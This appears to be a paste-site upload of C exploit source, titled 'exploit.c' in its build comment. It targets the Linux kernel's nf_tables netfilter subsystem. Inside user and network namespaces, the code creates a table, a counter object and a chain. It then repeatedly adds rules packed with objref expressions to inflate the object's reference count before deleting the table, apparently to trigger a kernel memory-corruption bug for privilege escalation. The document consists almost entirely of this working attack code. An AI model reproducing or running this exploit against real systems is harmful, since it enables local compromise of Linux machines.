Untitled
unknown
plain_text
3 years ago
11 kB
21
Indexable
/* gcc exploit.c -no-pie -o exp -lmnl -lnftnl */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <fcntl.h>
#include <unistd.h>
#include <stddef.h>
#include <time.h>
#include <signal.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/msg.h>
#include <linux/ip.h>
#include <netinet/in.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/keyctl.h>
#include <linux/unistd.h>
#include <linux/io_uring.h> /* contains io_uring_params for percpu_ref_data spraying */
#include <libnftnl/chain.h>
#include <libnftnl/table.h>
#include <libnftnl/rule.h>
#include <libnftnl/set.h>
#include <libnftnl/object.h>
#include <libnftnl/expr.h>
#include <libmnl/libmnl.h>
#include <arpa/inet.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#define DEF_CORE 3
#define MAX_RULE 3 // 3
char chain_name[] = "chainA\0";
char table_name[] = "table1\0";
char obj_name[] = "obj1\0";
char set_name[] = "set1\0";
void errout(char *msg)
{
perror(msg);
exit(-1);
}
/* Hexdump utility for debugging purposes */
void hexdump(void *mem, unsigned int len)
{
unsigned int i = 0, j = 0;
for (i = 0; i < len + ((len % 16) ? (16 - len % 16) : 0); i++)
{
if (i % 16 == 0)
printf("0x%06x: ", i);
if (i < len)
printf("%02x ", 0xFF & ((char *)mem)[i]);
else
printf(" ");
if (i % 16 == (16 - 1))
{
for (j = i - (16 - 1); j <= i; j++)
{
if (j >= len)
putchar(' ');
else if (isprint(((char *)mem)[j]))
putchar(0xFF & ((char *)mem)[j]);
else
putchar('.');
}
putchar('\n');
}
}
return;
}
static void assign_to_core(int core_id)
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(core_id, &mask);
if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
{
errout("sched_setaffinity");
}
}
static int setup_sandbox(void)
{
struct rlimit fdlim;
cpu_set_t set;
int pid;
assign_to_core(DEF_CORE);
/*
Execute ourselves in a new network namespace to
be able to trigger and exploit the bug
*/
/* For another user can communicate with netlink - somehow */
if (unshare(CLONE_NEWUSER) < 0)
{
perror("[-] unshare(CLONE_NEWUSER)");
return -1;
}
/* Network namespaces provide isolation of the system resources */
if (unshare(CLONE_NEWNET) < 0)
{
perror("[-] unshare(CLONE_NEWNET)");
return -1;
}
// CPU_ZERO(&set);
// CPU_SET(0, &set);
// if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
// perror("[-] sched_setaffinity");
// return -1;
// }
return 0;
}
void create_table_chain(struct mnl_socket *nl) {
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0;
int seq = 0;
char buf[16384] = {0};
struct nftnl_table *table = NULL;
assign_to_core(DEF_CORE);
puts("[+] create_table_chain");
table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, strdup(table_name));
// nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, data, size);
/* Create obj1 to table1 */
struct nftnl_obj *obj = nftnl_obj_alloc();
nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
/* Adding chain hooking */
struct nftnl_chain *chain2 = NULL;
chain2 = nftnl_chain_alloc();
nftnl_chain_set_str(chain2, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_str(chain2, NFTNL_CHAIN_TABLE, table_name);
nftnl_chain_set_data(chain2, NFTNL_CHAIN_TYPE, strdup("filter"), 0);
nftnl_chain_set_u32(chain2, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT);
nftnl_chain_set_u32(chain2, NFTNL_CHAIN_PRIO, 0);
/* ======================================================================================= */
// /* Create set and add it to table1 */
// struct nftnl_set *set = nftnl_set_alloc();
// nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
// nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
// nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 8);
// nftnl_set_set_u32(set, NFTNL_SET_ID, htonl(0xcafe));
// nftnl_set_set_u32(set, NFTNL_SET_FLAGS,
// NFT_SET_OBJECT); // NFT_SET_TIMEOUT, NFT_SET_ANONYMOUS
// nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_COUNTER);
// nftnl_set_set_u32(set, NFTNL_SET_KEY_TYPE, 13);
// // nftnl_set_set_u64(set, NFTNL_SET_TIMEOUT, 1500);
// // nftnl_set_set_u32(set, NFTNL_SET_GC_INTERVAL, 2000);
// nftnl_set_set_u32(set, NFTNL_SET_FAMILY, NFPROTO_IPV4);
// /* Linking set */
// struct nftnl_set *sx = nftnl_set_alloc();
// nftnl_set_set_str(sx, NFTNL_SET_TABLE, table_name);
// nftnl_set_set_u32(sx, NFTNL_SET_ID, htonl(0xcafe));
// /* Create set element and add set_elem into set */
// struct nftnl_set_elem *se = NULL;
// se = nftnl_set_elem_alloc();
// nftnl_set_elem_set_str(se, NFTNL_SET_ELEM_OBJREF, obj_name); // obj->use = 1
// nftnl_set_elem_set_u32(se, NFTNL_SET_ELEM_FLAGS,
// 0x2); /* NFT_SET_ELEM_CATCHALL = 0x2 */
// nftnl_set_elem_add(sx, se);
/* ======================================================================================= */
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
// table
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWTABLE, NFPROTO_IPV4,
NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table);
// mnl_attr_put(nh, NFTA_TABLE_USERDATA, size, data);
mnl_nlmsg_batch_next(batch);
// obj
nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE,
seq++);
nftnl_obj_nlmsg_build_payload(nh, obj);
mnl_nlmsg_batch_next(batch);
// // set
// nh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
// NFT_MSG_NEWSET, NFPROTO_IPV4,
// NLM_F_CREATE, seq++);
// nftnl_set_nlmsg_build_payload(nh, set);
// mnl_nlmsg_batch_next(batch);
// // set element
// nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
// NFT_MSG_NEWSETELEM, NFPROTO_IPV4,
// NLM_F_CREATE, seq++);
// nftnl_set_elems_nlmsg_build_payload(nh, sx);
// mnl_nlmsg_batch_next(batch);
// chain
nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWCHAIN, NFPROTO_IPV4, NLM_F_CREATE,
seq++);
nftnl_chain_nlmsg_build_payload(nh, chain2);
mnl_nlmsg_batch_next(batch);
// send
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (r < 0)
errout("mnl_socket_sendto");
return;
}
/* Create a netfilter table */
void create_rule_expr(struct mnl_socket *nl)
{
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0;
int seq = 0;
char buf[16384] = {0};
struct nftnl_expr *expr[127] = {0};
struct nftnl_rule *rule[MAX_RULE+1] = {0};
assign_to_core(DEF_CORE);
for (int j=0; j<MAX_RULE; j++) {
/* Add nft_rule to table */
rule[j] = nftnl_rule_alloc();
nftnl_rule_set_str(rule[j], NFTNL_RULE_TABLE, table_name);
nftnl_rule_set_str(rule[j], NFTNL_RULE_CHAIN, chain_name);
nftnl_rule_set_u32(rule[j], NFTNL_RULE_FAMILY, NFPROTO_IPV4);
for (int i=0; i<127; i++) {
/* Add nft_expr into nft_rule*/
expr[i] = nftnl_expr_alloc("objref");
nftnl_expr_set_str(expr[i], NFTNL_EXPR_OBJREF_IMM_NAME, obj_name); // obj->use++
nftnl_expr_set_u32(expr[i], NFTNL_EXPR_OBJREF_IMM_TYPE, NFT_OBJECT_COUNTER);
nftnl_rule_add_expr(rule[j], expr[i]);
}
}
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
for (int j=0; j<MAX_RULE; j++) {
// rule
nh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWRULE, NFPROTO_IPV4,
NLM_F_CREATE, seq++);
nftnl_rule_nlmsg_build_payload(nh, rule[j]);
nftnl_rule_free(rule[j]);
mnl_nlmsg_batch_next(batch);
}
// send
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (r < 0)
errout("mnl_socket_sendto");
return;
}
/* Delete a netfilter table */
void delete_table(struct mnl_socket *nl)
{
struct mnl_nlmsg_batch *batch = NULL;
struct nlmsghdr *nh = NULL;
int r = 0;
int seq = 0;
char buf[16384] = {0};
struct nftnl_table *table = NULL;
assign_to_core(DEF_CORE);
puts("[+] Delete table");
table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
// table
nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_DELTABLE, NFPROTO_IPV4,
NLM_F_CREATE, seq++);
nftnl_table_nlmsg_build_payload(nh, table);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
r = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (r < 0)
errout("mnl_socket_sendto");
return;
}
int main() {
uint64_t addr_value = 0;
struct mnl_socket *nl;
assign_to_core(DEF_CORE);
puts("[+] Setup namespace sandbox");
if (setup_sandbox())
return -1;
nl = mnl_socket_open(NETLINK_NETFILTER);
if (!nl)
{
errout("mnl_socket_open");
}
create_table_chain(nl);
// 0x2b00ac
for(int i=0; i<0x1000; i++) {
printf("[+] create_rule_expr: 0x%lx\n", i);
create_rule_expr(nl); // obj->use += 381
}
delete_table(nl);
return 0;
}Editor is loading...